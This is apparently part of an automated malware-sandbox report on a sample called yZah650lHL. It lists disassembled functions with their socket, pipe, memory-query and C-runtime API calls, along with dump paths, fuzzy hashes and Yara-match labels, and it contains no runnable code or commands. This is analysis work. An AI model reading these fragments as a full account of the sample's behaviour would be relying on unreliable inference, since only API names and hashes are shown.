_invalid_parameter_noinfo.LIBCMT ref: 001CEA13
strchr.LIBCMT ref: 001CEA29

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: 89153f5c64fab27db57a2af5758249aa045b2e8adbb4ff24b9161b74b74b034e
Instruction ID: df1a2f1e0fb05b95aa4e2a41103ac0155ce180c4fd263ffc718e7481fa4e2d62
Opcode Fuzzy Hash: 89153f5c64fab27db57a2af5758249aa045b2e8adbb4ff24b9161b74b74b034e
Instruction Fuzzy Hash: 9C1122632083E489CB2596219050B3ABAD0F3B5FD5B1D812DEAD70BA45CB2CC541CB50

Function 001A04D0 Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

clock.LIBCMT ref: 001A0517
clock.LIBCMT ref: 001A0524
clock.LIBCMT ref: 001A052D
clock.LIBCMT ref: 001A053A

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: clock
String ID:
API String ID: 3195780754-0
Opcode ID: 88d80a52c757cc5c40c2c6d70a970e4954adb33c3b78b443ec03df4506b3ea8d
Instruction ID: dba1a0da941d908dcf79781d7b2a93baaae24648750842988d629b3281201762
Opcode Fuzzy Hash: 88d80a52c757cc5c40c2c6d70a970e4954adb33c3b78b443ec03df4506b3ea8d
Instruction Fuzzy Hash: 19114826A04748895732EEA6748052BF690FB9D390F190035FE4403205EB74C881CF41

Function 0067EF5C Relevance: 6.0, APIs: 4, Instructions: 39networkCOMMON

Download Yara Rule

APIs

accept.WS2_32 ref: 0067EF71
send.WS2_32 ref: 0067EFAF
send.WS2_32 ref: 0067EFC3
closesocket.WS2_32 ref: 0067EFD4

Part of subcall function 0067F098: closesocket.WS2_32 ref: 0067F0A4
Part of subcall function 0067F098: free.LIBCMT ref: 0067F0AE
Part of subcall function 0067F098: free.LIBCMT ref: 0067F0B7
Part of subcall function 0067F098: free.LIBCMT ref: 0067F0C0

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$closesocketsend$accept
String ID:
API String ID: 47150829-0
Opcode ID: caadc6cbf8b8aa9901aecb44ddbc265dbb6e74dc9ec5a2b89a727a9022558361
Instruction ID: cf58eb68758bca1531fd76496b1870bd21c618929383d594a1707bb9788da1b2
Opcode Fuzzy Hash: caadc6cbf8b8aa9901aecb44ddbc265dbb6e74dc9ec5a2b89a727a9022558361
Instruction Fuzzy Hash: 7E012C7531494181DB549B36E965B292362E78DFF4F149211DE2A07F85CE3AC4958B40

Function 006753EC Relevance: 6.0, APIs: 4, Instructions: 34sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00675400
PeekNamedPipe.KERNEL32 ref: 00675425
Sleep.KERNEL32 ref: 0067543B
GetTickCount.KERNEL32 ref: 00675441

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: 210e21c30d6d06447862c16b29a5b20d0c0fb279467bc43041b9c33569e9406a
Instruction ID: 94c007245e2648addf3c19d2b24951ee6a5b039a2cf0f1d7f3946ca565b745a6
Opcode Fuzzy Hash: 210e21c30d6d06447862c16b29a5b20d0c0fb279467bc43041b9c33569e9406a
Instruction Fuzzy Hash: 24F0A432614E5192E7108B25F84431AA3A6F784B81F648160DB8E42E78DE79C4D18705

Function 006748D8 Relevance: 6.0, APIs: 4, Instructions: 32sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006748F1
PeekNamedPipe.KERNEL32 ref: 00674916
Sleep.KERNEL32 ref: 0067492C
GetTickCount.KERNEL32 ref: 00674932

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: aac62254f3a365505a6a564a1f05aa253f383d98e2b7473c1e2f14b721fad9df
Instruction ID: 731b81161f5110ee6af5e0396237b43d73dcf653e201295d023d5e07bafe4612
Opcode Fuzzy Hash: aac62254f3a365505a6a564a1f05aa253f383d98e2b7473c1e2f14b721fad9df
Instruction Fuzzy Hash: D7F0A432614A5192E7108B25F85431BB766F785B94F648120DB8D42F74DF3DC8918B04

Function 006776F0 Relevance: 6.0, APIs: 4, Instructions: 32memorythreadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNEL32 ref: 0067770E
GetProcessHeap.KERNEL32 ref: 00677714
HeapAlloc.KERNEL32 ref: 00677724
InitializeProcThreadAttributeList.KERNEL32 ref: 0067773F

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AttributeHeapInitializeListProcThread$AllocProcess
String ID:
API String ID: 1212816094-0
Opcode ID: 092ee1049558447ca0759a62b312a2f8f202331ccdb130be8b8fda5f5e098b35
Instruction ID: f678ab742e7207cbd561e49493ae46e7ce0d9f2ae07cae3b3ba7a2ec787c370f
Opcode Fuzzy Hash: 092ee1049558447ca0759a62b312a2f8f202331ccdb130be8b8fda5f5e098b35
Instruction Fuzzy Hash: 65F0BB2672564192DB58CB75F45075A63A6EB8CB90F585436FB0F42B14DE3DC4958B00

Function 0067F098 Relevance: 6.0, APIs: 4, Instructions: 15COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 0067F0A4
free.LIBCMT ref: 0067F0AE

Part of subcall function 0067F244: HeapFree.KERNEL32 ref: 0067F25A
Part of subcall function 0067F244: _errno.LIBCMT ref: 0067F264
Part of subcall function 0067F244: GetLastError.KERNEL32 ref: 0067F26C

free.LIBCMT ref: 0067F0B7
free.LIBCMT ref: 0067F0C0

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$ErrorFreeHeapLast_errnoclosesocket
String ID:
API String ID: 1525665891-0
Opcode ID: 514671407b84a75ab4a957943dd5047acaa779434bbb8d29509bbfd64e64c7a5
Instruction ID: d39bbc40504ba38ceb802984a6386ecaa7359909dca3ee8dfc6d7303dc756805
Opcode Fuzzy Hash: 514671407b84a75ab4a957943dd5047acaa779434bbb8d29509bbfd64e64c7a5
Instruction Fuzzy Hash: 9ED09E2671844481DF54EFF2D8A663C1322E7D8F94F1440359E2E4B366CD64CD95C348

Function 00401FD0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 209COMMON

Download Yara Rule

Strings

Unknown pseudo relocation protocol version %d., xrefs: 004022A8
Unknown pseudo relocation bit size %d., xrefs: 00402294

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 0-395989641
Opcode ID: 46b8cc2d54abce7c7c7d07232f07b04759b4e10a12a30095010051897671b5f5
Instruction ID: 8c8005ec778b1d8b89afdaa8f366cc80ce98c81ac44c8c214e0d273334ccb7fd
Opcode Fuzzy Hash: 46b8cc2d54abce7c7c7d07232f07b04759b4e10a12a30095010051897671b5f5
Instruction Fuzzy Hash: 1A711276B10B9487DB20CF61DA4875A7761FB59BA8F54822AEF08277E8DB7CC540C608

Function 00401DC0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00401E69

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 00401FBB
Address %p has no image-section, xrefs: 00401DC0, 00401FA5

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 1804819252-157664173
Opcode ID: 4222c966f1866e0347074a23eb8cec22519ab6179e0d58ab4d36e181926c5116
Instruction ID: 3b33824f85b17f90b3a42b000daced5dafaf341a27cace3064c240a44d9835c1
Opcode Fuzzy Hash: 4222c966f1866e0347074a23eb8cec22519ab6179e0d58ab4d36e181926c5116
Instruction Fuzzy Hash: C43106B3701A41A6EB128F12ED417593761B755BEAF48413AEF0C173A1EB3CD986C788

Function 00401010 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0040107F

Strings

P0E, xrefs: 0040103D
06E, xrefs: 00401089

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: __set_app_type
String ID: 06E$P0E
API String ID: 1108511539-3978550416
Opcode ID: 06cb82f9406a8be62de34f6836860520eff65df27a116840868cf6d0d4190e7e
Instruction ID: 4660481e8b01e839d5568f54d4753b0e48e28ce44faaa9a024d6f640f261ebc1
Opcode Fuzzy Hash: 06cb82f9406a8be62de34f6836860520eff65df27a116840868cf6d0d4190e7e
Instruction Fuzzy Hash: C52180B5600A41C7D7149F25D85136A37A1B785B49F818037DB4967BF5CB7DC8C0CB18

Function 0067F860 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0067F8B1

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

_invalid_parameter_noinfo.LIBCMT ref: 0067F8BC

Strings

B, xrefs: 0067F8E8

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID: B
API String ID: 1812809483-1255198513
Opcode ID: c02d2d703cad3fde31994e70e132d1470a84cf0b2fdde3fa0011d2dc5e3ae6ea
Instruction ID: 696ec82873bee636f2cfc17656ce8eca3729c8e3e8ee0a98847dae6747d9afc8
Opcode Fuzzy Hash: c02d2d703cad3fde31994e70e132d1470a84cf0b2fdde3fa0011d2dc5e3ae6ea
Instruction Fuzzy Hash: 9001ADB2620B4086DB109F12E440799B662FB98FE4FA88325AF5C07BA5CF38C141CB04

Function 001BEC60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001BECB1

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

_invalid_parameter_noinfo.LIBCMT ref: 001BECBC

Strings

B, xrefs: 001BECE8

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID: B
API String ID: 1812809483-1255198513
Opcode ID: 60c63a2ab9f2c694e46ab874add7d0a6eb48e0963f6941f66a4f1d1620c6c169
Instruction ID: 4ab64148a078f30f592bfda4bf66d86ddaf9101564b499946e096a0180613029
Opcode Fuzzy Hash: 60c63a2ab9f2c694e46ab874add7d0a6eb48e0963f6941f66a4f1d1620c6c169
Instruction Fuzzy Hash: 31018472614B5486EB109F12D4447D9B6A1F7A9FE4F584325EF5817B95CF38C144CB00

Function 00401C40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7
Unknown error, xrefs: 00401D2C

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 060ed8b4f48fff566cb5ba301f549a09f8373ce553815899d5138d05545a2a64
Instruction ID: 59ce1e855a84c40590a6f1d7e5fdbb5789b26ea1a6d81feca49222ead83698e2
Opcode Fuzzy Hash: 060ed8b4f48fff566cb5ba301f549a09f8373ce553815899d5138d05545a2a64
Instruction Fuzzy Hash: 19016163918F88C3D6018F18E8003AA7331FB6E749F259316EF8C26565DB39D592C704

Function 00401D00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

Overflow range error (OVERFLOW), xrefs: 00401D00
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: f9e84ebcb7ff6edc01efffe7a2503a57f9d003c7be521cdfefda22305502a0e8
Instruction ID: 80ece2abca5378ef05b9d519cef63ff07e16b40d1adb7ebcdaa7eeb16c026ebe
Opcode Fuzzy Hash: f9e84ebcb7ff6edc01efffe7a2503a57f9d003c7be521cdfefda22305502a0e8
Instruction Fuzzy Hash: 4FF06257858E8882D2029F1CE8003AB7331FB5EB89F245316EF8D36155DB29D5828704

Function 00401D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7
The result is too small to be represented (UNDERFLOW), xrefs: 00401D10

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 6dd4cf5b349fc847c3dcee8b8810e4477711ad86737d6eb6accb21fb67c8ba71
Instruction ID: 6c5864fbeb6c7f4b963c4697b524ad25517706f5afd63d8b54a146ff3f516c0f
Opcode Fuzzy Hash: 6dd4cf5b349fc847c3dcee8b8810e4477711ad86737d6eb6accb21fb67c8ba71
Instruction Fuzzy Hash: 48F06256858E8882D2029F1DE8003AB7331FB5E789F245316EF8D36155DB29D5828704

Function 00401D20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

Total loss of significance (TLOSS), xrefs: 00401D20
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 8660fa55e8950004dec4a570e9212e7fe6fefa6bca1faacdb15b35959efb44f5
Instruction ID: fb67b1574da8526718952bc4acd2e4b2938ff38d259f1ca349d8fde6e4d57ddc
Opcode Fuzzy Hash: 8660fa55e8950004dec4a570e9212e7fe6fefa6bca1faacdb15b35959efb44f5
Instruction Fuzzy Hash: 2BF06256858E8882D2029F1CE8003AB7331FB5E789F245316EF8D36555DF29D5828704

Function 00401CE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7
Argument domain error (DOMAIN), xrefs: 00401CE0

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: ffb7db3649f765f6754a53c0185fc82a21da43e3d5c879aecf4419589f6ac527
Instruction ID: 19d1ab342afe3ad9ea86bf5e66ade9d92ee5eaa311f738746577795edc5800f2
Opcode Fuzzy Hash: ffb7db3649f765f6754a53c0185fc82a21da43e3d5c879aecf4419589f6ac527
Instruction Fuzzy Hash: 5EF06256858E8882D2029F1CE8003AB7331FB5EB89F245316EF8D36155DB29D5828704

Function 00401CF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

Partial loss of significance (PLOSS), xrefs: 00401CF0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 18191e57db33b4e70e59b5a3d3e3df1f7191def02d3bc11653a7ff43ad774231
Instruction ID: 72b50771eb885944449533605f92bc4095f36d05608744bf9fda369d3d258743
Opcode Fuzzy Hash: 18191e57db33b4e70e59b5a3d3e3df1f7191def02d3bc11653a7ff43ad774231
Instruction Fuzzy Hash: 49F06256858E8882D2029F1CE8003AB7331FB5EB89F245316EF8D36155DB29D5828704

Function 00401C78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

Argument singularity (SIGN), xrefs: 00401C78
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 2ba2f6e238f8e9c229c48e66cccf0b2e63387fe02db74aec0f0aa87893f784d2
Instruction ID: c7517851250d5d007e0f967f84f5791a1ac141f8cb5801964327b6ba23b519ec
Opcode Fuzzy Hash: 2ba2f6e238f8e9c229c48e66cccf0b2e63387fe02db74aec0f0aa87893f784d2
Instruction Fuzzy Hash: 8CF09056814F8882C202DF2CE8003AB7330FB4EB8DF249316EF8C3A155DF29D5828704

Function 00661CC4 Relevance: 5.3, APIs: 4, Instructions: 261COMMONLIBRARYCODE

Download Yara Rule

APIs

calloc.LIBCMT ref: 00661D6A

Part of subcall function 0068EE08: _calloc_impl.LIBCMT ref: 0068EE18
Part of subcall function 0068EE08: _errno.LIBCMT ref: 0068EE2B
Part of subcall function 0068EE08: _errno.LIBCMT ref: 0068EE35

free.LIBCMT ref: 00661EF3
free.LIBCMT ref: 00661EFD
free.LIBCMT ref: 00661F0F

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$_errno$_calloc_implcalloc
String ID:
API String ID: 4000150058-0
Opcode ID: 098b9973f943fd418b7180529354ef0ede5274538db457ffc537a6b083c63ad8
Instruction ID: 1a8b3b2cf1c52a6259925237e4e9cbc3425f2cca5b61c0d3a4cc04866f41f30a
Opcode Fuzzy Hash: 098b9973f943fd418b7180529354ef0ede5274538db457ffc537a6b083c63ad8
Instruction Fuzzy Hash: 18C13B32608B848AD760CF65E88039E77B5F789B88F14412AEF8D87B18EF39C555CB00

Function 001A10C4 Relevance: 5.3, APIs: 4, Instructions: 261COMMONLIBRARYCODE

Download Yara Rule

APIs

calloc.LIBCMT ref: 001A116A

Part of subcall function 001CE208: _calloc_impl.LIBCMT ref: 001CE218
Part of subcall function 001CE208: _errno.LIBCMT ref: 001CE22B
Part of subcall function 001CE208: _errno.LIBCMT ref: 001CE235

free.LIBCMT ref: 001A12F3
free.LIBCMT ref: 001A12FD
free.LIBCMT ref: 001A130F

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$_errno$_calloc_implcalloc
String ID:
API String ID: 4000150058-0
Opcode ID: 1990de878bdb2b18b214190b8058df6cf8cdb58ae8a7ad838a221dc59059176c
Instruction ID: ef13a074418b6d296590a38f5d20f9b5ca4bc9d75961e5e567413d64bbd8a4b0
Opcode Fuzzy Hash: 1990de878bdb2b18b214190b8058df6cf8cdb58ae8a7ad838a221dc59059176c
Instruction Fuzzy Hash: 09C10C36608B859AD764CF65E88479EB7F4F789B88F10412AEB8D87B18DF38C555CB00

Function 0067AD44 Relevance: 5.2, APIs: 4, Instructions: 155COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0067AD78

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
